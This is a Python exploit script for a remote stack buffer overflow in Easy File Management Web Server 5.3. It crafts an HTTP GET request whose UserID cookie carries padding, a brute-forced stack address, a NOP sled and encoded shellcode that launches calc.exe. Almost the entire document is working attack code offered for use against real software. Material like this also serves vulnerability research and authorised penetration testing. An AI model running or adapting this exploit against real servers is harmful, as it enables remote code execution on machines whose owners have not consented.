Easy File Management Web Server 5.3 – Remote Stack Buffer Overflow
#!/usr/bin/env python # Exploit Title: Easy File Management Web Server 5.3 stack buffer overflow # Date: 19 May 2014 # Exploit Author: superkojiman - http://www.techorganic.com # Vendor Homepage: http://www.efssoft.com # Software Link: http://www.web-file-management.com/download.php # Version: 5.3 # Tested on: English version of Windows XP Professional SP2 and SP3 # # Description: # By setting UserID in the cookie to a long string, we can overwrite EDX which # allows us to control execution flow when the following instruction is # executed: # # 0x00468702: call dword ptr [edx+28h] # # Very similar to Easy File Sharing Web Server 6.8 exploit here: # http://www.exploit-db.com/exploits/33352/ # I suspect their other web server solutions might be vulnerable to a similar # overflow. # # Tested with Easy File Management Web Server installed in the default location # at C:\EFS Software\Easy File Management Web Server import socket import struct import sys target = "172.16.229.134" port = 80 # calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/ # msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin # [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1) shellcode = ( "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" + "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" + "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" + "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" + "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" + "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" + "\x1c\x39\xbd" ) for i in xrange(1,255): n = "" if i < 16: n = "0" + hex(i)[-1] else: n = hex(i)[2:] # craft the value of EDX that will be used in CALL DWORD PTR DS:[EDX+28] # only second byte changes in the stack address changes, so we can brute # force it guess = "0x01" + n + "9898" print "trying", guess payload = "A"*20 # padding payload += struct.pack("<I", 0x1001646a) # call edi @LoadImage.dll payload += "B"*56 # padding payload += struct.pack("<I", int(guess, 16)) # guessed address in stack # containing pointer to # call edi payload += "\x90"*20 # nop sled payload += shellcode # win! # craft the request buf = ( "GET /vfolder.ghp HTTP/1.1\r\n" "User-Agent: Mozilla/4.0\r\n" "Host:" + target + ":" + str(port) + "\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-us\r\n" "Accept-Encoding: gzip, deflate\r\n" "Referer: http://" + target + "/\r\n" "Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n" "Conection: Keep-Alive\r\n\r\n" ) # send the request and payload to the server s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((target, port)) s1.send(buf) s1.close() |